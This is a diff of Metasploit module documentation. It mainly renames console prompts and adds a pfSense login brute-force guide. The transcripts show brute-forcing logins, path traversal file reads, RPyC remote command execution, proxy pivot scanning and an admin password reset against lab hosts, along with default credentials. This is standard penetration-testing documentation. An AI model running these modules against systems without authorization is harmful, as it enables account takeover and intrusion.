(TCP) + SSL true yes Negotiate SSL/TLS for outgoing connections + STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host + TARGETURI / yes The base path to the OPNSense application + THREADS 1 yes The number of concurrent threads (max one per host) + USERNAME root no A specific username to authenticate as + USERPASS_FILE no File containing users and passwords separated by space, one pair per line + USER_AS_PASS false no Try the username as the password for all users + USER_FILE no File containing usernames, one per line + VERBOSE true yes Whether to print output for all attempts + VHOST no HTTP server virtual host + + +View the full module info with the info, or info -d command. + +msf auxiliary(scanner/http/opnsense_login) > run +[+] 192.168.207.161:443 - Login Successful: root:opnsense +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/scanner/http/owa_login.md b/documentation/modules/auxiliary/scanner/http/owa_login.md index 8258e916b8310..7c4ded54a03ea 100644 --- a/documentation/modules/auxiliary/scanner/http/owa_login.md +++ b/documentation/modules/auxiliary/scanner/http/owa_login.md @@ -15,7 +15,7 @@ be saved as potentially valid usernames unless we get a successful login. ## Scenarios ``` -msf5 auxiliary(scanner/http/owa_login) > run +msf auxiliary(scanner/http/owa_login) > run [*] webmail.hostingcloudapp.com:443 OWA - Testing version OWA_2013 [+] Found target domain: HOSTINGCLOUDAPP @@ -57,4 +57,4 @@ msf5 auxiliary(scanner/http/owa_login) > run [*] webmail.hostingcloudapp.com:443 OWA - FAILED LOGIN, BUT USERNAME IS VALID. 0.275251 'HOSTINGCLOUDAPP\bob' : 'fido': SAVING TO CREDS [*] Auxiliary module execution completed -``` \ No newline at end of file +``` diff --git a/documentation/modules/auxiliary/scanner/http/pfsense_login.md b/documentation/modules/auxiliary/scanner/http/pfsense_login.md new file mode 100644 index 0000000000000..e23236563c030 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/pfsense_login.md @@ -0,0 +1,106 @@ +## Vulnerable Application + +This module attempts to bruteforce credentials for pfSense. + +This module was specifically tested on version 2.7.2: + +**2.7.2 Download** + +https://atxfiles.netgate.com/mirror/downloads/ + +Note: + +By default, pfSense comes with a built-in account named ```admin``` with the password being ```pfsense```. + +## Verification Steps + +1. Set up a pfSense VM using the steps above or target a real installation +1. Start `bundle exec ./msfconsole -q` +1. `use auxiliary/scanner/http/pfsense_login` +1. `set ssl true` +1. `set pass_file ...` +1. `set user_file ...` +1. `run` +1. or, using some example inline options: `run pass_file=data/wordlists/default_pass_for_services_unhash.txt user_file=data/wordlists/default_pass_for_services_unhash.txt STOP_ON_SUCCESS=true SSL=true rport=443` +1. Verify you get a login: +``` +[+] 192.168.207.158:443 - Login Successful: admin:pfsense +``` + +## Options + +### BLANK_PASSWORD + +Set to `true` if an additional login attempt should be made with an empty password for every user. + +### BRUTEFORCE_SPEED + +How fast to bruteforce, from 0 to 5 + +### PASSWORD + +A specific password to authenticate with + +### PASS_FILE + +File containing passwords, one per line + +### STOP_ON_SUCCESS + +Stop guessing when a credential works for a host + +### THREADS + +The number of concurrent threads (max one per host) + +### USERPASS_FILE + +File containing users and passwords separated by space, one pair per line + +### USER_FILE + +File containing usernames, one per line + +### VERBOSE + +Whether to print output for all attempts + +## Scenarios +``` +msf auxiliary(scanner/http/pfsense_login) > options + +Module options (auxiliary/scanner/http/pfsense_login): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + ANONYMOUS_LOGIN false yes Attempt to login with a blank username and password + BLANK_PASSWORDS false no Try blank passwords for all users + BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 + DB_ALL_CREDS false no Try each user/password couple stored in the current database + DB_ALL_PASS false no Add all passwords in the current database to the list + DB_ALL_USERS false no Add all users in the current database to the list + DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm) + PASSWORD pfsense no A specific password to authenticate with + PASS_FILE no File containing passwords, one per line + Proxies no A proxy chain of format type:host:port[,type:host:port][...] + RHOSTS 192.168.207.158 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html + RPORT 443 yes The target port (TCP) + SSL true no Negotiate SSL/TLS for outgoing connections + STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host + TARGETURI / yes The base path to the pfSense application + THREADS 1 yes The number of concurrent threads (max one per host) + USERNAME admin no A specific username to authenticate as + USERPASS_FILE no File containing users and passwords separated by space, one pair per line + USER_AS_PASS false no Try the username as the password for all users + USER_FILE no File containing usernames, one per line + VERBOSE true yes Whether to print output for all attempts + VHOST no HTTP server virtual host + + +View the full module info with the info, or info -d command. + +msf auxiliary(scanner/http/pfsense_login) > run +[+] 192.168.207.158:443 - Login Successful: admin:pfsense +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +``` diff --git a/documentation/modules/auxiliary/scanner/http/phpmyadmin_login.md b/documentation/modules/auxiliary/scanner/http/phpmyadmin_login.md index 0e3e6ef646c01..4fdd6d9321f24 100644 --- a/documentation/modules/auxiliary/scanner/http/phpmyadmin_login.md +++ b/documentation/modules/auxiliary/scanner/http/phpmyadmin_login.md @@ -18,19 +18,19 @@ ### Tested on PhpMyAdmin Versions 4.0.10.20, 4.5.0, 4.8.1, 4.8.2, 5.0 ``` - msf5 > use auxiliary/scanner/http/phpmyadmin_login - msf5 auxiliary(scanner/http/phpmyadmin_login) > set rhosts 192.168.37.151 + msf > use auxiliary/scanner/http/phpmyadmin_login + msf auxiliary(scanner/http/phpmyadmin_login) > set rhosts 192.168.37.151 rhosts => 192.168.37.151 - msf5 auxiliary(scanner/http/phpmyadmin_login) > set targeturi phpmyadmin-4.8.2/index.php + msf auxiliary(scanner/http/phpmyadmin_login) > set targeturi phpmyadmin-4.8.2/index.php targeturi => phpmyadmin-4.8.2/index.php - msf5 auxiliary(scanner/http/phpmyadmin_login) > set password password + msf auxiliary(scanner/http/phpmyadmin_login) > set password password password => password - msf5 auxiliary(scanner/http/phpmyadmin_login) > run + msf auxiliary(scanner/http/phpmyadmin_login) > run [*] PhpMyAdmin Version: 4.8.2 [+] 192.168.37.151:80 - Success: 'root:password' [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed - msf5 auxiliary(scanner/http/phpmyadmin_login) > + msf auxiliary(scanner/http/phpmyadmin_login) > ``` diff --git a/documentation/modules/auxiliary/scanner/http/rdp_web_login.md b/documentation/modules/auxiliary/scanner/http/rdp_web_login.md index 1e101a5a3294b..e0ee16c835714 100644 --- a/documentation/modules/auxiliary/scanner/http/rdp_web_login.md +++ b/documentation/modules/auxiliary/scanner/http/rdp_web_login.md @@ -49,12 +49,12 @@ An alternate User Agent string to use in HTTP requests. Defaults to Mozilla/5.0 If an RDWeb login page is discovered, you can use this module to gather valid usernames for a brute force attack. Specific target output replaced with Ys so as not to disclose information -```msf6 > use auxiliary/scanner/http/rdp_web_login -msf6 auxiliary(scanner/http/rdp_web_login) > set username /home/kali/users.txt +```msf > use auxiliary/scanner/http/rdp_web_login +msf auxiliary(scanner/http/rdp_web_login) > set username /home/kali/users.txt username => /home/kali/users.txt -msf6 auxiliary(scanner/http/rdp_web_login) > set RHOSTS YY.YYY.YYY.YY +msf auxiliary(scanner/http/rdp_web_login) > set RHOSTS YY.YYY.YYY.YY RHOSTS => YY.YYY.YYY.YY -msf6 auxiliary(scanner/http/rdp_web_login) > run +msf auxiliary(scanner/http/rdp_web_login) > run [*] Running for YY.YYY.YYY.YY... [+] Found Domain: YYYYYYYYYYYY @@ -65,16 +65,16 @@ msf6 auxiliary(scanner/http/rdp_web_login) > run [*] Auxiliary module execution completed``` If an RDWeb login page is discovered, you can use this module to perform a brute force attack. -```msf6 > use auxiliary/scanner/http/rdp_web_login -msf6 auxiliary(scanner/http/rdp_web_login) > set RHOSTS 192.168.148.128 +```msf > use auxiliary/scanner/http/rdp_web_login +msf auxiliary(scanner/http/rdp_web_login) > set RHOSTS 192.168.148.128 RHOSTS => 192.168.148.128 -msf6 auxiliary(scanner/http/rdp_web_login) > set username /home/kali/users.txt +msf auxiliary(scanner/http/rdp_web_login) > set username /home/kali/users.txt username => /home/kali/users.txt -msf6 auxiliary(scanner/http/rdp_web_login) > set password /home/kali/passwords.txt +msf auxiliary(scanner/http/rdp_web_login) > set password /home/kali/passwords.txt password => /home/kali/passwords.txt -msf6 auxiliary(scanner/http/rdp_web_login) > set timeout 500 +msf auxiliary(scanner/http/rdp_web_login) > set timeout 500 timeout => 500 -msf6 auxiliary(scanner/http/rdp_web_login) > run +msf auxiliary(scanner/http/rdp_web_login) > run [*] Running for YY.YYY.YYY.YY... [+] Found Domain: YYYY diff --git a/documentation/modules/auxiliary/scanner/http/rips_traversal.md b/documentation/modules/auxiliary/scanner/http/rips_traversal.md index 7770cdfdc5b5d..c29c949139f7e 100644 --- a/documentation/modules/auxiliary/scanner/http/rips_traversal.md +++ b/documentation/modules/auxiliary/scanner/http/rips_traversal.md @@ -24,12 +24,12 @@ ## Scenarios ``` - msf5 > use auxiliary/scanner/http/rips_traversal - msf5 auxiliary(scanner/http/rips_traversal) > set rhosts 172.16.191.188 + msf > use auxiliary/scanner/http/rips_traversal + msf auxiliary(scanner/http/rips_traversal) > set rhosts 172.16.191.188 rhosts => 172.16.191.188 - msf5 auxiliary(scanner/http/rips_traversal) > set filepath /etc/hosts + msf auxiliary(scanner/http/rips_traversal) > set filepath /etc/hosts filepath => /etc/hosts - msf5 auxiliary(scanner/http/rips_traversal) > run + msf auxiliary(scanner/http/rips_traversal) > run  127.0.0.1        localhost    diff --git a/documentation/modules/auxiliary/scanner/http/rpyc_rce.md b/documentation/modules/auxiliary/scanner/http/rpyc_rce.md index 17326b0b8e10d..e28dd3a3567fd 100644 --- a/documentation/modules/auxiliary/scanner/http/rpyc_rce.md +++ b/documentation/modules/auxiliary/scanner/http/rpyc_rce.md @@ -48,17 +48,17 @@ Exploiting a vulnerable RPyC server located at 0.0.0.0:9999 with the command `whoami`: ```log -msf6 auxiliary(scanner/http/rpyc_rce) > set RHOST 0.0.0.0 -msf6 auxiliary(scanner/http/rpyc_rce) > set RPORT 9999 -msf6 auxiliary(scanner/http/rpyc_rce) > set COMMAND whoami -msf6 auxiliary(scanner/http/rpyc_rce) > run +msf auxiliary(scanner/http/rpyc_rce) > set RHOST 0.0.0.0 +msf auxiliary(scanner/http/rpyc_rce) > set RPORT 9999 +msf auxiliary(scanner/http/rpyc_rce) > set COMMAND whoami +msf auxiliary(scanner/http/rpyc_rce) > run ``` Demo example output for the module: ```log -msf6 > use auxiliary/scanner/http/rpyc_rce -msf6 auxiliary(scanner/http/rpyc_rce) > show options +msf > use auxiliary/scanner/http/rpyc_rce +msf auxiliary(scanner/http/rpyc_rce) > show options Module options (auxiliary/scanner/http/rpyc_rce): @@ -74,13 +74,13 @@ THREADS 1 yes The number of concurrent threads (max one pe View the full module info with the info, or info -d command. -msf6 auxiliary(scanner/http/rpyc_rce) > set RHOST 0.0.0.0 +msf auxiliary(scanner/http/rpyc_rce) > set RHOST 0.0.0.0 RHOST => 0.0.0.0 -msf6 auxiliary(scanner/http/rpyc_rce) > set RPORT 9999 +msf auxiliary(scanner/http/rpyc_rce) > set RPORT 9999 RPORT => 9999 -msf6 auxiliary(scanner/http/rpyc_rce) > set COMMAND whoami +msf auxiliary(scanner/http/rpyc_rce) > set COMMAND whoami COMMAND => whoami -msf6 auxiliary(scanner/http/rpyc_rce) > run +msf auxiliary(scanner/http/rpyc_rce) > run [*] Running for 0.0.0.0... [*] Connected to RPyC service at 0.0.0.0:9999 diff --git a/documentation/modules/auxiliary/scanner/http/simplehelp_toolbox_path_traversal.md b/documentation/modules/auxiliary/scanner/http/simplehelp_toolbox_path_traversal.md index 50ae6a6674065..f48780b416608 100644 --- a/documentation/modules/auxiliary/scanner/http/simplehelp_toolbox_path_traversal.md +++ b/documentation/modules/auxiliary/scanner/http/simplehelp_toolbox_path_traversal.md @@ -34,7 +34,7 @@ Select "Start New Server". The application should now be vulnerable to the path ## Scenarios ### SimpleHelp 5.5.7 running on Ubuntu 22.04 ``` -msf6 exploit(windows/local/cve_2024_35250_ks_driver) > use simplehelp_toolbox_path_traversal +msf exploit(windows/local/cve_2024_35250_ks_driver) > use simplehelp_toolbox_path_traversal Matching Modules ================ @@ -47,9 +47,9 @@ Matching Modules Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/http/simplehelp_toolbox_path_traversal [*] Using auxiliary/scanner/http/simplehelp_toolbox_path_traversal -msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > set rhost 172.16.199.130 +msf auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > set rhost 172.16.199.130 rhost => 172.16.199.130 -msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > run +msf auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > run [*] Reloading module... [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Version detected: 5.5.7 @@ -61,20 +61,20 @@ msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > run ### SimpleHelp 5.5.7 running on Windows 11 ``` -msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > set rhosts 172.16.199.131 +msf auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > set rhosts 172.16.199.131 rhosts => 172.16.199.131 -msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > set filepath windows/system.ini +msf auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > set filepath windows/system.ini filepath => windows/system.ini -msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > set depth 4 +msf auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > set depth 4 depth => 4 -msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > run +msf auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > run [*] Running automatic check ("set AutoCheck false" to disable) [+] The target appears to be vulnerable. Version detected: 5.5.7 [+] Downloaded 219 bytes [+] File saved in: /Users/jheysel/.msf4/loot/20250221075039_default_172.16.199.131_simplehelp.trave_820456.txt [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > cat /Users/jheysel/.msf4/loot/20250221075039_default_172.16.199.131_simplehelp.trave_820456.txt +msf auxiliary(scanner/http/simplehelp_toolbox_path_traversal) > cat /Users/jheysel/.msf4/loot/20250221075039_default_172.16.199.131_simplehelp.trave_820456.txt [*] exec: cat /Users/jheysel/.msf4/loot/20250221075039_default_172.16.199.131_simplehelp.trave_820456.txt ; for 16-bit app support diff --git a/documentation/modules/auxiliary/scanner/http/softing_sis_login.md b/documentation/modules/auxiliary/scanner/http/softing_sis_login.md index 47e40288d550f..916a1ab8f88a9 100644 --- a/documentation/modules/auxiliary/scanner/http/softing_sis_login.md +++ b/documentation/modules/auxiliary/scanner/http/softing_sis_login.md @@ -40,21 +40,21 @@ A `username:password` pair of credentials can be provided by doing `set USERPASS In this scenario, the default options were used. ``` -msf6 > use auxiliary/scanner/http/softing_sis_login -msf6 auxiliary(scanner/http/softing_sis_login) > set RHOSTS 192.168.50.119 +msf > use auxiliary/scanner/http/softing_sis_login +msf auxiliary(scanner/http/softing_sis_login) > set RHOSTS 192.168.50.119 RHOSTS => 192.168.50.119 -msf6 auxiliary(scanner/http/softing_sis_login) > run +msf auxiliary(scanner/http/softing_sis_login) > run [+] 192.168.50.119:8099 - Success: 'admin:admin' [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/softing_sis_login) > +msf auxiliary(scanner/http/softing_sis_login) > ``` `creds` output: ``` -msf6 auxiliary(scanner/http/softing_sis_login) > creds +msf auxiliary(scanner/http/softing_sis_login) > creds Credentials =========== @@ -62,7 +62,7 @@ host origin service public private realm private ---- ------ ------- ------ ------- ----- ------------ ---------- 192.168.50.119 192.168.50.119 8099/tcp (http) admin admin Password -msf6 auxiliary(scanner/http/softing_sis_login) > +msf auxiliary(scanner/http/softing_sis_login) > ``` ### Different admin password, SSL in use @@ -70,28 +70,28 @@ msf6 auxiliary(scanner/http/softing_sis_login) > In this scenario, the default password for the `admin` user has been changed, and SSL was used. ``` -msf6 > use auxiliary/scanner/http/softing_sis_login -msf6 auxiliary(scanner/http/softing_sis_login) > set RHOSTS 192.168.50.119 +msf > use auxiliary/scanner/http/softing_sis_login +msf auxiliary(scanner/http/softing_sis_login) > set RHOSTS 192.168.50.119 RHOSTS => 192.168.50.119 -msf6 auxiliary(scanner/http/softing_sis_login) > set PASSWORD admin123 +msf auxiliary(scanner/http/softing_sis_login) > set PASSWORD admin123 PASSWORD => admin123 -msf6 auxiliary(scanner/http/softing_sis_login) > set SSL true +msf auxiliary(scanner/http/softing_sis_login) > set SSL true [!] Changing the SSL option's value may require changing RPORT! SSL => true -msf6 auxiliary(scanner/http/softing_sis_login) > set RPORT 443 +msf auxiliary(scanner/http/softing_sis_login) > set RPORT 443 RPORT => 443 -msf6 auxiliary(scanner/http/softing_sis_login) > run +msf auxiliary(scanner/http/softing_sis_login) > run [+] 192.168.50.119:443 - Success: 'admin:admin123' [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/softing_sis_login) > +msf auxiliary(scanner/http/softing_sis_login) > ``` `creds` output: ``` -msf6 auxiliary(scanner/http/softing_sis_login) > creds +msf auxiliary(scanner/http/softing_sis_login) > creds Credentials =========== @@ -100,7 +100,7 @@ host origin service public private realm private 192.168.50.119 192.168.50.119 8099/tcp (http) admin admin Password 192.168.50.119 192.168.50.119 443/tcp (https) admin admin123 Password -msf6 auxiliary(scanner/http/softing_sis_login) > +msf auxiliary(scanner/http/softing_sis_login) > ``` ### Several targets, using different usernames and passwords @@ -139,16 +139,16 @@ Contents of `targets.txt`: Module output: ``` -msf6 > use auxiliary/scanner/http/softing_sis_login -msf6 auxiliary(scanner/http/softing_sis_login) > set RHOSTS file:/home/ubuntu/Documents/targets.txt +msf > use auxiliary/scanner/http/softing_sis_login +msf auxiliary(scanner/http/softing_sis_login) > set RHOSTS file:/home/ubuntu/Documents/targets.txt RHOSTS => file:/home/ubuntu/Documents/targets.txt -msf6 auxiliary(scanner/http/softing_sis_login) > set USER_FILE ~/Documents/usernames.txt +msf auxiliary(scanner/http/softing_sis_login) > set USER_FILE ~/Documents/usernames.txt USER_FILE => ~/Documents/usernames.txt -msf6 auxiliary(scanner/http/softing_sis_login) > set PASS_FILE ~/Documents/passwords.txt +msf auxiliary(scanner/http/softing_sis_login) > set PASS_FILE ~/Documents/passwords.txt PASS_FILE => ~/Documents/passwords.txt -msf6 auxiliary(scanner/http/softing_sis_login) > set VERBOSE false +msf auxiliary(scanner/http/softing_sis_login) > set VERBOSE false VERBOSE => false -msf6 auxiliary(scanner/http/softing_sis_login) > run +msf auxiliary(scanner/http/softing_sis_login) > run [+] 192.168.50.71:8099 - Success: 'admin:P@ssw0rd' [*] Scanned 1 of 3 hosts (33% complete) @@ -158,7 +158,7 @@ msf6 auxiliary(scanner/http/softing_sis_login) > run [+] 192.168.50.206:8099 - Success: 'admin1:admin123' [*] Scanned 3 of 3 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/http/softing_sis_login) > +msf auxiliary(scanner/http/softing_sis_login) > ``` Note that `VERBOSE` was set to `false` in this scenario to reduce amount of output on screen. @@ -167,7 +167,7 @@ By default, `VERBOSE` is set to true, which also outputs failed login attempts. `creds` output: ``` -msf6 auxiliary(scanner/http/softing_sis_login) > creds +msf auxiliary(scanner/http/softing_sis_login) > creds Credentials =========== @@ -178,5 +178,5 @@ host origin service public private realm privat 192.168.50.206 192.168.50.206 8099/tcp (http) admin pass123 Password 192.168.50.206 192.168.50.206 8099/tcp (http) admin1 admin123 Password -msf6 auxiliary(scanner/http/softing_sis_login) > +msf auxiliary(scanner/http/softing_sis_login) > ``` diff --git a/documentation/modules/auxiliary/scanner/http/springcloud_directory_traversal.md b/documentation/modules/auxiliary/scanner/http/springcloud_directory_traversal.md index 00eae85635694..bfd3252a6cc30 100644 --- a/documentation/modules/auxiliary/scanner/http/springcloud_directory_traversal.md +++ b/documentation/modules/auxiliary/scanner/http/springcloud_directory_traversal.md @@ -24,10 +24,10 @@ hyness/spring-cloud-config-server:2.1.6.RELEASE \ ### Tested against Linux zero 4.15.0-48-generic #51-Ubuntu SMP x86_64 GNU/Linux ``` -msf5 auxiliary(scanner/http/springcloud_directory_traversal) > run +msf auxiliary(scanner/http/springcloud_directory_traversal) > run [+] File saved in: /Users/Dhiraj/.msf4/loot/20200619234552_default_[REDACTED]_springcloud.trav_785232.txt [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf5 auxiliary(scanner/http/springcloud_directory_traversal) > +msf auxiliary(scanner/http/springcloud_directory_traversal) > ``` diff --git a/documentation/modules/auxiliary/scanner/http/squid_pivot_scanning.md b/documentation/modules/auxiliary/scanner/http/squid_pivot_scanning.md index 3359e2b77d58b..2be75e59d5108 100644 --- a/documentation/modules/auxiliary/scanner/http/squid_pivot_scanning.md +++ b/documentation/modules/auxiliary/scanner/http/squid_pivot_scanning.md @@ -130,16 +130,16 @@ HTTP server virtual host header to send on requests. The following is a brief demo of a port scan against two hosts (`192.168.0.1` and `192.168.0.2`) through a Squid proxy responding at `10.10.10.100:3128`. You could assume that the Squid host has a public or otherwise reachable IP address, where the `192.168.0.0` network range is not normally reachable to you. ``` -msf6 > use auxiliary/scanner/http/squid_pivot_scanning -msf6 auxiliary(scanner/http/squid_pivot_scanning) > set RHOSTS 10.10.10.100 +msf > use auxiliary/scanner/http/squid_pivot_scanning +msf auxiliary(scanner/http/squid_pivot_scanning) > set RHOSTS 10.10.10.100 RHOSTS => 10.10.10.100 -msf6 auxiliary(scanner/http/squid_pivot_scanning) > set RPORT 3128 +msf auxiliary(scanner/http/squid_pivot_scanning) > set RPORT 3128 RPORT => 3128 -msf6 auxiliary(scanner/http/squid_pivot_scanning) > set PORTS 21-25,79-81,139,443,445,1433,1521,1723,3389,8080,9100 +msf auxiliary(scanner/http/squid_pivot_scanning) > set PORTS 21-25,79-81,139,443,445,1433,1521,1723,3389,8080,9100 PORTS => 21-25,79-81,139,443,445,1433,1521,1723,3389,8080,9100 -msf6 auxiliary(scanner/http/squid_pivot_scanning) > set RANGE 192.168.0.1-192.168.0.2 +msf auxiliary(scanner/http/squid_pivot_scanning) > set RANGE 192.168.0.1-192.168.0.2 RANGE => 192.168.0.1-192.168.0.2 -msf6 auxiliary(scanner/http/squid_pivot_scanning) > run +msf auxiliary(scanner/http/squid_pivot_scanning) > run [+] [10.10.10.100] 192.168.0.1 is alive. [+] [10.10.10.100] 192.168.0.1:80 seems open (HTTP 200, server header: 'nginx/1.14.0 (Ubuntu)'). @@ -152,9 +152,9 @@ msf6 auxiliary(scanner/http/squid_pivot_scanning) > run Setting the `VERBOSE` option will show each port tested and explain the reason for unreachable ports, if known. This can be helpful, as a port might very well be open and responding on a host, however if it is denied by the Squid ACL you will be unable to reach it regardless. ``` -msf6 auxiliary(scanner/http/squid_pivot_scanning) > set VERBOSE true +msf auxiliary(scanner/http/squid_pivot_scanning) > set VERBOSE true VERBOSE => true -msf6 auxiliary(scanner/http/squid_pivot_scanning) > run +msf auxiliary(scanner/http/squid_pivot_scanning) > run [*] [10.10.10.100] Verifying manual testing is not required... [*] [10.10.10.100] Requesting 192.168.0.1:21 @@ -246,13 +246,13 @@ http_access deny all ``` ``` -msf6 auxiliary(scanner/http/squid_pivot_scanning) > set TARGETS 127.0.0.1 +msf auxiliary(scanner/http/squid_pivot_scanning) > set TARGETS 127.0.0.1 TARGETS => 127.0.0.1 -msf6 auxiliary(scanner/http/squid_pivot_scanning) > set RANGE 127.0.0.1 +msf auxiliary(scanner/http/squid_pivot_scanning) > set RANGE 127.0.0.1 RANGE => 127.0.0.1 -msf6 auxiliary(scanner/http/squid_pivot_scanning) > set PORTS 21-23 +msf auxiliary(scanner/http/squid_pivot_scanning) > set PORTS 21-23 PORTS => 21-23 -msf6 auxiliary(scanner/http/squid_pivot_scanning) > run +msf auxiliary(scanner/http/squid_pivot_scanning) > run [*] [10.10.10.100] Verifying manual testing is not required... [*] [10.10.10.100] Requesting 127.0.0.1:21 @@ -270,7 +270,7 @@ msf6 auxiliary(scanner/http/squid_pivot_scanning) > run Finally, it is worth knowing that all open discovered ports are saved as services for later viewing: ``` -msf6 auxiliary(scanner/http/squid_pivot_scanning) > services +msf auxiliary(scanner/http/squid_pivot_scanning) > services Services ======== diff --git a/documentation/modules/auxiliary/scanner/http/strapi_3_password_reset.md b/documentation/modules/auxiliary/scanner/http/strapi_3_password_reset.md index d586ec57f2803..f54e7b32743b8 100644 --- a/documentation/modules/auxiliary/scanner/http/strapi_3_password_reset.md +++ b/documentation/modules/auxiliary/scanner/http/strapi_3_password_reset.md @@ -39,16 +39,16 @@ New Admin password. No default. ### npx install of strapi 3.0.0-beta.17.4 ``` -msf6 > use auxiliary/scanner/http/strapi_3_password_reset -msf6 auxiliary(scanner/http/strapi_3_password_reset) > set new_password testtesttest +msf > use auxiliary/scanner/http/strapi_3_password_reset +msf auxiliary(scanner/http/strapi_3_password_reset) > set new_password testtesttest new_password => testtesttest -msf6 auxiliary(scanner/http/strapi_3_password_reset) > set rhosts 127.0.0.1 +msf auxiliary(scanner/http/strapi_3_password_reset) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 auxiliary(scanner/http/strapi_3_password_reset) > set rport 1337 +msf auxiliary(scanner/http/strapi_3_password_reset) > set rport 1337 rport => 1337 -msf6 auxiliary(scanner/http/strapi_3_password_reset) > check +msf auxiliary(scanner/http/strapi_3_password_reset) > check [-] This module does not support check. -msf6 auxiliary(scanner/http/strapi_3_password_reset) > run +msf auxiliary(scanner/http/strapi_3_password_reset) > run [*] Resetting admin password... [+] Password changed successfully! diff --git a/documentation/modules/auxiliary/scanner/http/syncovery_linux_login.md b/documentation/modules/auxiliary/scanner/http/syncovery_linux_login.md index 421abf456673f..1732c69ff542a 100644 --- a/documentation/modules/auxiliary/scanner/http/syncovery_linux_login.md +++ b/documentation/modules/auxiliary/scanner/http/syncovery_linux_login.md @@ -40,10 +40,10 @@ The (TCP) target port on which Syncovery is running. By default port 8999 is use ### Syncovery for Linux with default credentials ``` -msf6 > use modules/auxiliary/scanner/http/syncovery_linux_login -msf6 auxiliary(scanner/http/syncovery_linux_login) > set rhosts 192.168.178.26 +msf > use modules/auxiliary/scanner/http/syncovery_linux_login +msf auxiliary(scanner/http/syncovery_linux_login) > set rhosts 192.168.178.26 rhosts => 192.168.178.26 -msf6 auxiliary(scanner/http/syncovery_linux_login) > options +msf auxiliary(scanner/http/syncovery_linux_login) > options Module options (auxiliary/scanner/http/syncovery_linux_login): @@ -71,7 +71,7 @@ Module options (auxiliary/scanner/http/syncovery_linux_login): VERBOSE true yes Whether to print output for all attempts VHOST no HTTP server virtual host -msf6 auxiliary(scanner/http/syncovery_linux_login) > run +msf auxiliary(scanner/http/syncovery_linux_login) > run [+] 192.168.178.26:8999 - Syncovery File Sync & Backup Software confirmed [+] 192.168.178.26:8999 - Identified version: 9.48a diff --git a/documentation/modules/auxiliary/scanner/http/syncovery_linux_token_cve_2022_36536.md b/documentation/modules/auxiliary/scanner/http/syncovery_linux_token_cve_2022_36536.md index e37212104ffe9..975eb12647e72 100644 --- a/documentation/modules/auxiliary/scanner/http/syncovery_linux_token_cve_2022_36536.md +++ b/documentation/modules/auxiliary/scanner/http/syncovery_linux_token_cve_2022_36536.md @@ -45,10 +45,10 @@ The (TCP) target port on which Syncovery is running. By default port 8999 is use ### Syncovery for Linux with default credentials ``` -msf6 > use auxiliary/scanner/http/syncovery_linux_token_cve_2022_36536 -msf6 auxiliary(scanner/http/syncovery_linux_token_cve_2022_36536) > set rhosts 192.168.178.26 +msf > use auxiliary/scanner/http/syncovery_linux_token_cve_2022_36536 +msf auxiliary(scanner/http/syncovery_linux_token_cve_2022_36536) > set rhosts 192.168.178.26 rhosts => 192.168.178.26 -msf6 auxiliary(scanner/http/syncovery_linux_token_cve_2022_36536) > options +msf auxiliary(scanner/http/syncovery_linux_token_cve_2022_36536) > options Module options (auxiliary/scanner/http/syncovery_linux_token_cve_2022_36536): @@ -63,9 +63,9 @@ Module options (auxiliary/scanner/http/syncovery_linux_token_cve_2022_36536): THREADS 1 yes The number of concurrent threads (max one per host) VHOST no HTTP server virtual host -msf6 auxiliary(scanner/http/syncovery_linux_token_cve_2022_36536) > check +msf auxiliary(scanner/http/syncovery_linux_token_cve_2022_36536) > check [+] 192.168.178.26:8999 - The target is vulnerable. -msf6 auxiliary(scanner/http/syncovery_linux_token_cve_2022_36536) > run +msf auxiliary(scanner/http/syncovery_linux_token_cve_2022_36536) > run [*] 192.168.178.26:8999 - Starting Brute-Forcer [+] 192.168.178.26:8999 - Valid token found: 'MDkvMDYvMjAyMiAxMzo0NDoxMg==' diff --git a/documentation/modules/auxiliary/scanner/http/thinvnc_travesal.md b/documentation/modules/auxiliary/scanner/http/thinvnc_travesal.md index 939ffe65e8388..5dcc4a41220df 100644 --- a/documentation/modules/auxiliary/scanner/http/thinvnc_travesal.md +++ b/documentation/modules/auxiliary/scanner/http/thinvnc_travesal.md @@ -23,16 +23,16 @@ ### ThinVNC version 1.0b1 on Windows XP SP3 ``` - msf5 > use auxiliary/scanner/http/thinvnc_traversal - msf5 auxiliary(scanner/http/thinvnc_traversal) > set rhosts 172.16.123.123 + msf > use auxiliary/scanner/http/thinvnc_traversal + msf auxiliary(scanner/http/thinvnc_traversal) > set rhosts 172.16.123.123 rhosts => 172.16.123.123 - msf5 auxiliary(scanner/http/thinvnc_traversal) > run + msf auxiliary(scanner/http/thinvnc_traversal) > run [+] File ThinVnc.ini saved 